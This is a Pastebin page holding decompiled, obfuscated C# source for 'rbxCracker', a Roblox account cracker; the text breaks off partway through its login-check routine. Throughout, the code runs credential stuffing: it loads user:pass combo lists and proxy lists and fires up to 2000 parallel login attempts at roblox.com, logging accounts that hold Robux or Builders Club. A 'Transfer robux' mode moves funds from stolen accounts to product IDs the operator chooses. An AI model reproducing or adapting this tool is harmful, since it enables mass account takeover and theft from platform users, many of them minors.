Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.IO;
- using System.Linq;
- using System.Management;
- using System.Net;
- using System.Reflection;
- using System.Security.Cryptography;
- using System.Text;
- using System.Text.RegularExpressions;
- using System.Threading;
- using System.Threading.Tasks;
- using CorCallingConvention;
- using xNet;
- namespace RobloxCracker
- {
- // Token: 0x02000012 RID: 18
- internal class CCMDictionary
- {
- // Token: 0x06000073 RID: 115 RVA: 0x0000EC1C File Offset: 0x0000CE1C
- private static void XmlNamespaceEncoder(string[] args)
- {
- <Module>.ReadDelegate(0);
- global::ParameterInfo.ComVisibleAttribute();
- CCMDictionary.RuntimePropertyInfo();
- Console.Title = "rbxCracker - Roblox.com Account Cracker";
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "rbxCracker - Roblox.com Account Cracker" + Environment.NewLine + "=======================");
- if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\license.dat") == -1)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Please enter your key to register.");
- string text = Console.ReadLine();
- string text2 = CCMDictionary.ConstructorBuilder();
- using (HttpRequest httpRequest = new HttpRequest())
- {
- string text3 = global::DebuggerStepThroughAttribute.CMSASSEMBLYREFERENCEFLAG(httpRequest.Get(MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "https://proxies24.com/rbxCrack/auth.php?k=",
- text,
- "&h=",
- text2,
- "&r"
- }), null));
- if (!text3.Equals("0"))
- {
- if (!text3.Equals("1"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Unknown error.");
- Environment.Exit(0);
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Green, "Registered successfully.");
- System.IO.File.AppendAllText(Directory.GetCurrentDirectory() + "\\license.dat", text);
- Console.Clear();
- CCMDictionary.XmlNamespaceEncoder(null);
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Key not found.");
- Environment.Exit(0);
- }
- goto IL_224;
- }
- }
- using (HttpRequest httpRequest2 = new HttpRequest())
- {
- string text4 = httpRequest2.Get("https://proxies24.com/rbxCrack/auth.php?k=" + System.IO.File.ReadAllText(Directory.GetCurrentDirectory() + "\\license.dat").ToString(), null).ToString();
- if (!text4.Equals("0"))
- {
- if (!(text4 == CCMDictionary.ConstructorBuilder()))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Invalid HWID match.");
- Environment.Exit(0);
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Invaid key.");
- Environment.Exit(0);
- }
- }
- IL_224:
- ASMCACHE.DeriveBytes();
- int num = 0;
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Which tool would you like to run?");
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.White, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[1] Standard checker [Robux, Builders Club, Collectibles]",
- Environment.NewLine,
- "[2] Transfer robux [BETA]",
- Environment.NewLine,
- "[3] Combo validator",
- Environment.NewLine,
- "[4] Exit"
- }));
- if (int.TryParse(Console.ReadLine(), out num))
- {
- switch (num)
- {
- case 1:
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running standard checker");
- CCMDictionary.ISymbolVariable(ConsoleColor.White, Environment.NewLine + "=======================");
- if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt") != -1)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt") + " combos.");
- CCMDictionary.IdentityNotMappedException.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\combos.txt"));
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Combo file not found.");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- if (CCMDictionary.StringParser(FileAssociationEntryFieldId.StrongName2() + "\\proxies.txt") == -1)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Proxy file not found.");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\proxies.txt") + " proxies.");
- CCMDictionary.HostExecutionContextSwitcher.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\proxies.txt"));
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================" + Environment.NewLine);
- CCMDictionary.ArraySortHelper2 = new StreamWriter("accounts.txt", true);
- CCMDictionary.SafeCertContextHandle = new StreamWriter(Directory.GetCurrentDirectory() + "\\hits\\allhits.txt");
- CCMDictionary.ArraySortHelper2.AutoFlush = true;
- CCMDictionary.SafeCertContextHandle.AutoFlush = true;
- if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\config.dat") != -1)
- {
- string text5 = System.IO.File.ReadAllText(Directory.GetCurrentDirectory() + "\\config.dat");
- if (text5.Contains("[proxies:"))
- {
- CCMDictionary.TargetParameterCountException = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
- {
- "proxies:"
- }, StringSplitOptions.None)[1], new string[]
- {
- "]"
- }, StringSplitOptions.None)[0];
- if (CCMDictionary.TargetParameterCountException != "http" && CCMDictionary.TargetParameterCountException != "socks4" && CCMDictionary.TargetParameterCountException != "socks5")
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Invalid proxy type!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- if (text5.Contains("[rotating:"))
- {
- string a = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
- {
- "rotating:"
- }, StringSplitOptions.None)[1], new string[]
- {
- "]"
- }, StringSplitOptions.None)[0];
- if (a != "true" && a != "false")
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Rotating must be true or false!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- else
- {
- CCMDictionary.BinaryMethodReturnMessage = (a == "true");
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- if (!text5.Contains("[threads:"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- else
- {
- string s = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
- {
- "threads:"
- }, StringSplitOptions.None)[1], new string[]
- {
- "]"
- }, StringSplitOptions.None)[0];
- if (int.TryParse(s, out CCMDictionary.IContextProperty))
- {
- if (CCMDictionary.IContextProperty > 2000 || CCMDictionary.IContextProperty <= 0)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Threads must be less than 2000 & more than 0!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Threads must be a number!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- }
- if (text5.Contains("[filter:"))
- {
- string s2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
- {
- "filter:"
- }, StringSplitOptions.None)[1], new string[]
- {
- "]"
- }, StringSplitOptions.None)[0];
- if (!int.TryParse(s2, out CCMDictionary.PermissionSetEnumeratorInternal))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Filter must be a number!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- if (text5.Contains("[retry:"))
- {
- string a2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text5, new string[]
- {
- "retry:"
- }, StringSplitOptions.None)[1], new string[]
- {
- "]"
- }, StringSplitOptions.None)[0];
- if (!(a2 != "true") || !(a2 != "false"))
- {
- CCMDictionary.SpecialNameAttribute = (a2 == "true");
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration - Rotating must be true or false!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Config misconfiguration!");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running from config settings." + Environment.NewLine);
- }
- else
- {
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "Which type of proxies are you using? [http/socks4/socks5]");
- CCMDictionary.TargetParameterCountException = Console.ReadLine();
- if (CCMDictionary.TargetParameterCountException == "http" || CCMDictionary.TargetParameterCountException == "socks4" || CCMDictionary.TargetParameterCountException == "socks5")
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running on " + CCMDictionary.TargetParameterCountException.ToUpper() + "." + Environment.NewLine);
- }
- }
- while (CCMDictionary.TargetParameterCountException != "http" && CCMDictionary.TargetParameterCountException != "socks4" && CCMDictionary.TargetParameterCountException != "socks5");
- string text6;
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "Are you using rotating proxies? [yes/no]");
- text6 = Console.ReadLine();
- if (text6 == "yes")
- {
- CCMDictionary.BinaryMethodReturnMessage = true;
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with rotating proxies." + Environment.NewLine);
- }
- else if (text6 == "no")
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with non-rotating proxies." + Environment.NewLine);
- }
- }
- while (text6 != "yes" && text6 != "no");
- string text7;
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "How many threads do you want to use? (2k max)");
- text7 = Console.ReadLine();
- if (Convert.ToInt32(text7) <= 2000 && Convert.ToInt32(text7) > 0 && int.TryParse(text7, out CCMDictionary.IContextProperty))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running on " + Convert.ToString(CCMDictionary.IContextProperty) + " threads." + Environment.NewLine);
- }
- }
- while (CCMDictionary.IContextProperty > 2000 || CCMDictionary.IContextProperty <= 0 || !int.TryParse(text7, out CCMDictionary.IContextProperty));
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "Filter accounts with more than X robux: (0 = all)");
- text6 = Console.ReadLine();
- if (int.TryParse(text6, out CCMDictionary.PermissionSetEnumeratorInternal))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Filtering accounts with more than " + Convert.ToString(CCMDictionary.PermissionSetEnumeratorInternal) + " robux." + Environment.NewLine);
- }
- }
- while (CCMDictionary.PermissionSetEnumeratorInternal < 0 || !int.TryParse(text6, out CCMDictionary.PermissionSetEnumeratorInternal));
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "Do you want to use unlimited retries? [yes/no]");
- text6 = Console.ReadLine();
- if (!(text6 == "yes"))
- {
- if (text6 == "no")
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with default 5 retries." + Environment.NewLine);
- }
- }
- else
- {
- CCMDictionary.SpecialNameAttribute = true;
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with unlimited proxies." + Environment.NewLine);
- }
- }
- while (text6 != "yes" && text6 != "no");
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================");
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Building queue..." + Environment.NewLine);
- CorCallingConvention.Path.ThreadInterruptedException(Task.Factory, new Action(delegate
- {
- if (Console.ReadKey().KeyChar == 'q')
- {
- CCMDictionary.SponsorStateInfo = true;
- }
- }));
- IEnumerable<string> identityNotMappedException = CCMDictionary.IdentityNotMappedException;
- ParallelOptions parallelOptions = new ParallelOptions();
- parallelOptions.MaxDegreeOfParallelism = CCMDictionary.IContextProperty;
- Parallel.ForEach<string>(identityNotMappedException, parallelOptions, delegate(string combo, ParallelLoopState state)
- {
- try
- {
- if (!CCMDictionary.SponsorStateInfo)
- {
- if (CCMDictionary.HostExecutionContextSwitcher.Count != 0)
- {
- if (combo.Contains(":"))
- {
- string text10 = WindowsAccountType.SymCustomAttr(combo, new string[]
- {
- ":"
- }, StringSplitOptions.None)[0];
- string text11 = WindowsAccountType.SymCustomAttr(combo, new string[]
- {
- ":"
- }, StringSplitOptions.None)[1];
- bool flag;
- if (text10 != "" && text11 != "")
- {
- if (text10.Any((char ch) => char.IsLetterOrDigit(ch)))
- {
- flag = text11.Any((char ch) => char.IsLetterOrDigit(ch));
- goto IL_109;
- }
- }
- flag = false;
- IL_109:
- if (flag)
- {
- CCMDictionary.IsolationInterop(text10, text11);
- }
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "[Error] - Ran out of working proxies, stopping all threads.");
- state.Stop();
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Stopping all running threads!");
- state.Stop();
- }
- }
- catch (Exception)
- {
- }
- });
- break;
- }
- case 2:
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running robux transferer");
- CCMDictionary.ISymbolVariable(ConsoleColor.White, Environment.NewLine + "=======================");
- if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\accounts.txt") == -1)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Accounts file not found.");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\accounts.txt") + " accounts.");
- CCMDictionary.IdentityNotMappedException.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\accounts.txt"));
- }
- if (CCMDictionary.StringParser(FileAssociationEntryFieldId.StrongName2() + "\\proxies.txt") == -1)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Proxy file not found.");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\proxies.txt") + " proxies.");
- CCMDictionary.HostExecutionContextSwitcher.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\proxies.txt"));
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================" + Environment.NewLine);
- CCMDictionary.ArraySortHelper2 = new StreamWriter("accounts.txt", true);
- CCMDictionary.ArraySortHelper2.AutoFlush = true;
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "Which type of proxies are you using? [http/socks4/socks5]");
- CCMDictionary.TargetParameterCountException = Console.ReadLine();
- if (CCMDictionary.TargetParameterCountException == "http" || CCMDictionary.TargetParameterCountException == "socks4" || CCMDictionary.TargetParameterCountException == "socks5")
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running on " + CCMDictionary.TargetParameterCountException.ToUpper() + "." + Environment.NewLine);
- }
- }
- while (CCMDictionary.TargetParameterCountException != "http" && CCMDictionary.TargetParameterCountException != "socks4" && CCMDictionary.TargetParameterCountException != "socks5");
- string a3;
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "Are you using rotating proxies? [yes/no]");
- a3 = Console.ReadLine();
- if (!(a3 == "yes"))
- {
- if (a3 == "no")
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with non-rotating proxies." + Environment.NewLine);
- }
- }
- else
- {
- CCMDictionary.BinaryMethodReturnMessage = true;
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with rotating proxies." + Environment.NewLine);
- }
- }
- while (a3 != "yes" && a3 != "no");
- for (;;)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "Please enter the builder club account that will receive the robux in this format: [user:pass]");
- string text8 = Console.ReadLine();
- if (text8.Contains(":"))
- {
- try
- {
- using (HttpRequest httpRequest3 = new HttpRequest())
- {
- httpRequest3.UserAgent = CCMDictionary.Nullable1();
- httpRequest3.AllowAutoRedirect = false;
- httpRequest3.Cookies = CCMDictionary.SearchData;
- httpRequest3.AddField("username", WindowsAccountType.SymCustomAttr(text8, new string[]
- {
- ":"
- }, StringSplitOptions.None)[0]).AddField("password", WindowsAccountType.SymCustomAttr(text8, new string[]
- {
- ":"
- }, StringSplitOptions.None)[1]);
- string text9 = httpRequest3.Post("https://www.roblox.com/newlogin").ToString();
- if (text9.Contains("Object moved"))
- {
- CCMDictionary.SearchData = httpRequest3.Cookies;
- if (!(CCMDictionary.Debugger(CCMDictionary.SearchData, text8, true)[1] == "Yes"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Account doesn't have builders club.");
- CCMDictionary.ArgMapper();
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Green, "Successfull login." + Environment.NewLine);
- }
- }
- else if (text9.Contains("Your username or password is incorrect. Please check them and try again."))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Incorect login details.");
- CCMDictionary.ArgMapper();
- }
- else if (!text9.Contains("The words you typed didn't match the picture. Please try again."))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "Unknown error occured");
- CCMDictionary.ArgMapper();
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkRed, "Captcha given for your IP.");
- CCMDictionary.ArgMapper();
- }
- }
- goto IL_170D;
- }
- catch (HttpException ex)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Magenta, "[Error] - " + ex.Status);
- CCMDictionary.ArgMapper();
- goto IL_170D;
- }
- goto IL_1276;
- }
- IL_170D:
- if (text8.Contains(":"))
- {
- goto Block_83;
- }
- }
- IL_12F8:
- int num2;
- if (CCMDictionary.DictionaryEnumeratorByKeys == "" || (!CCMDictionary.DictionaryEnumeratorByKeys.Contains(",") && !int.TryParse(CCMDictionary.DictionaryEnumeratorByKeys, out num2)))
- {
- goto IL_13A3;
- }
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "Do you want to use unlimited retries? [yes/no]");
- a3 = Console.ReadLine();
- if (a3 == "yes")
- {
- CCMDictionary.SpecialNameAttribute = true;
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with unlimited retries." + Environment.NewLine);
- }
- else if (a3 == "no")
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running with default 5 retries." + Environment.NewLine);
- }
- }
- while (a3 != "yes" && a3 != "no");
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================");
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Building queue..." + Environment.NewLine);
- CorCallingConvention.Path.ThreadInterruptedException(Task.Factory, new Action(delegate
- {
- if (Console.ReadKey().KeyChar == 'q')
- {
- CCMDictionary.SponsorStateInfo = true;
- }
- }));
- IEnumerable<string> identityNotMappedException2 = CCMDictionary.IdentityNotMappedException;
- ParallelOptions parallelOptions2 = new ParallelOptions();
- parallelOptions2.MaxDegreeOfParallelism = CCMDictionary.MethodImplAttribute.Count;
- Parallel.ForEach<string>(identityNotMappedException2, parallelOptions2, delegate(string combo, ParallelLoopState state, long i)
- {
- try
- {
- if (!CCMDictionary.SponsorStateInfo)
- {
- if (CCMDictionary.HostExecutionContextSwitcher.Count == 0)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "[Error] - Ran out of working proxies, stopping all threads.");
- state.Stop();
- }
- else if (combo.Contains(":"))
- {
- string text10 = WindowsAccountType.SymCustomAttr(combo, new string[]
- {
- ":"
- }, StringSplitOptions.None)[0];
- string text11 = WindowsAccountType.SymCustomAttr(combo, new string[]
- {
- ":"
- }, StringSplitOptions.None)[1];
- bool flag;
- if (text10 != "" && text11 != "")
- {
- if (text10.Any((char ch) => char.IsLetterOrDigit(ch)))
- {
- flag = text11.Any((char ch) => char.IsLetterOrDigit(ch));
- goto IL_123;
- }
- }
- flag = false;
- IL_123:
- if (flag)
- {
- CCMDictionary.DefaultMemberAttribute(text10, text11, i);
- }
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Stopping all running threads!");
- state.Stop();
- }
- }
- catch (Exception)
- {
- }
- });
- break;
- IL_1276:
- CCMDictionary.MethodImplAttribute.AddRange(WindowsAccountType.SymCustomAttr(CCMDictionary.DictionaryEnumeratorByKeys, new string[]
- {
- ","
- }, StringSplitOptions.None));
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Blue, SoapNmtokens.StreamTokenReader(new object[]
- {
- "Sending all robux to ",
- CCMDictionary.MethodImplAttribute.Count,
- " products.",
- Environment.NewLine
- }));
- goto IL_12F8;
- IL_13A3:
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "Please enter the product ID(s) you want to use seperated with a \",\".");
- CCMDictionary.DictionaryEnumeratorByKeys = Console.ReadLine();
- if (CCMDictionary.DictionaryEnumeratorByKeys.Contains(","))
- {
- goto IL_1276;
- }
- if (CCMDictionary.DictionaryEnumeratorByKeys != "" && int.TryParse(CCMDictionary.DictionaryEnumeratorByKeys, out num2))
- {
- CCMDictionary.MethodImplAttribute.Add(CCMDictionary.DictionaryEnumeratorByKeys);
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Sending all robux to product: " + CCMDictionary.DictionaryEnumeratorByKeys + "." + Environment.NewLine);
- goto IL_12F8;
- }
- goto IL_12F8;
- Block_83:
- goto IL_13A3;
- }
- case 3:
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Running combo validator");
- CCMDictionary.ISymbolVariable(ConsoleColor.White, Environment.NewLine + "=======================");
- if (CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt") != -1)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Loaded " + CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt") + " combos.");
- CCMDictionary.IdentityNotMappedException.AddRange(System.IO.File.ReadAllLines(Directory.GetCurrentDirectory() + "\\combos.txt"));
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "Combo file not found.");
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================" + Environment.NewLine);
- int num3 = CCMDictionary.StringParser(Directory.GetCurrentDirectory() + "\\combos.txt");
- if (num3 < 100)
- {
- CCMDictionary.IContextProperty = num3;
- }
- else
- {
- CCMDictionary.IContextProperty = 100;
- }
- CCMDictionary.ISymbolVariable(ConsoleColor.White, "=======================");
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Building queue..." + Environment.NewLine);
- CCMDictionary.ArraySortHelper2 = new StreamWriter("checked.txt", true);
- CCMDictionary.ArraySortHelper2.AutoFlush = true;
- CorCallingConvention.Path.ThreadInterruptedException(Task.Factory, new Action(delegate
- {
- if (Console.ReadKey().KeyChar == 'q')
- {
- CCMDictionary.SponsorStateInfo = true;
- }
- }));
- IEnumerable<string> identityNotMappedException3 = CCMDictionary.IdentityNotMappedException;
- ParallelOptions parallelOptions3 = new ParallelOptions();
- parallelOptions3.MaxDegreeOfParallelism = CCMDictionary.IContextProperty;
- Parallel.ForEach<string>(identityNotMappedException3, parallelOptions3, delegate(string combo, ParallelLoopState state)
- {
- try
- {
- if (!CCMDictionary.SponsorStateInfo)
- {
- if (combo.Contains(":"))
- {
- string text10 = WindowsAccountType.SymCustomAttr(combo, new string[]
- {
- ":"
- }, StringSplitOptions.None)[0];
- string string_ = WindowsAccountType.SymCustomAttr(combo, new string[]
- {
- ":"
- }, StringSplitOptions.None)[1];
- bool flag;
- if (text10 != "")
- {
- flag = text10.Any((char ch) => char.IsLetterOrDigit(ch));
- }
- else
- {
- flag = false;
- }
- if (flag)
- {
- CCMDictionary.DTString(text10, string_);
- }
- }
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Blue, "Stopping all running threads!");
- state.Stop();
- }
- }
- catch (Exception ex2)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkCyan, ex2.StackTrace);
- }
- });
- break;
- }
- case 4:
- Environment.Exit(0);
- break;
- }
- }
- }
- while (num > 4 || num == 0);
- if (num == 1)
- {
- CCMDictionary.SafeCertContextHandle.Close();
- CCMDictionary.ArraySortHelper2.Close();
- }
- if (num == 2 || num == 3)
- {
- CCMDictionary.ArraySortHelper2.Close();
- }
- string a4;
- do
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.White, Environment.NewLine + "Finished! Do you want to return to the menu? (Will reset everything) [yes/no]");
- a4 = Console.ReadLine().ToLower();
- if (!(a4 == "yes"))
- {
- if (a4 == "no")
- {
- Environment.Exit(0);
- }
- }
- else
- {
- int keyedCollection = 0;
- CCMDictionary.PermissionSetEnumeratorInternal = 0;
- CCMDictionary.CalendarTable = 0;
- CCMDictionary.SafeCompressedStackHandle = 0;
- CCMDictionary.OperationCanceledException = 0;
- CCMDictionary.KeyedCollection2 = keyedCollection;
- CCMDictionary.TargetParameterCountException = (CCMDictionary.DictionaryEnumeratorByKeys = "");
- bool binaryMethodReturnMessage = false;
- CCMDictionary.SponsorStateInfo = false;
- CCMDictionary.BinaryMethodReturnMessage = binaryMethodReturnMessage;
- Console.Clear();
- CCMDictionary.XmlNamespaceEncoder(null);
- }
- }
- while (a4 != "yes" && a4 != "no");
- }
- // Token: 0x06000074 RID: 116 RVA: 0x000104F0 File Offset: 0x0000E6F0
- private static void DTString(string string_0, string string_1)
- {
- <Module>.ReadDelegate(1);
- bool flag = false;
- do
- {
- try
- {
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = CCMDictionary.Nullable1();
- string text = httpRequest.Get("https://www.roblox.com/UserCheck/DoesUsernameExist?username=" + string_0, null).ToString();
- if (text.Contains("true"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - " + string_0);
- CCMDictionary.ArraySortHelper2.WriteLine(string_0 + ":" + string_1);
- CCMDictionary.OperationCanceledException++;
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- }
- }
- catch (HttpException ex)
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Magenta, SoapNmtokens.StreamTokenReader(new object[]
- {
- "[Error] - ",
- ex.Status,
- " - ",
- string_0
- }));
- CCMDictionary.SafeCompressedStackHandle++;
- }
- Console.Title = MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "rbxCracker [Threads: ",
- Convert.ToString(CCMDictionary.IContextProperty),
- "] [Combo: ",
- Convert.ToString(CCMDictionary.KeyedCollection2),
- "/",
- Convert.ToString(CCMDictionary.IdentityNotMappedException.Count),
- "] [Valid: ",
- Convert.ToString(CCMDictionary.OperationCanceledException),
- "] [Retries: ",
- Convert.ToString(CCMDictionary.SafeCompressedStackHandle),
- "]"
- });
- }
- while (!flag);
- }
- // Token: 0x06000075 RID: 117 RVA: 0x00010748 File Offset: 0x0000E948
- private static void DefaultMemberAttribute(string string_0, string string_1, long long_0)
- {
- <Module>.ReadDelegate(2);
- bool flag = false;
- bool flag2 = false;
- int num = 0;
- while (!flag)
- {
- if (!(string_0 == "") && (string_0 != null || !(string_1 == "")) && string_1 != null)
- {
- if (num >= 5 && !CCMDictionary.SpecialNameAttribute)
- {
- goto IL_1137;
- }
- if (!flag2)
- {
- CookieDictionary cookieDictionary = new CookieDictionary(false);
- try
- {
- using (HttpRequest httpRequest = new HttpRequest())
- {
- httpRequest.UserAgent = CCMDictionary.Nullable1();
- httpRequest.AllowAutoRedirect = false;
- httpRequest.Cookies = cookieDictionary;
- httpRequest.ConnectTimeout = 5000;
- httpRequest.ReadWriteTimeout = 5000;
- httpRequest.AddField("username", string_0).AddField("password", string_1);
- string text = httpRequest.Post("https://www.roblox.com/newlogin").ToString();
- if (!text.Contains("/home?Nl=true"))
- {
- if (!text.Contains("/login/twostepverification") || text.Contains("twoStepVerificationPageUrl"))
- {
- if (!text.Contains("NotApproved.aspx"))
- {
- if (text.Contains("/Login/SecurityNotification"))
- {
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.Red, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Bad] - ",
- string_0,
- ":",
- string_1,
- " - Security notification received."
- }));
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (!text.Contains("Your username or password is incorrect. Please check them and try again."))
- {
- if (!text.Contains("The words you typed didn't match the picture. Please try again."))
- {
- if (text.Contains("request-error"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
- CCMDictionary.KeyedCollection2++;
- flag = true;
- }
- else if (!text.Contains("UnsafeInput.aspx"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "[Unknown] - " + string_0 + ":" + string_1);
- CCMDictionary.SafeCompressedStackHandle++;
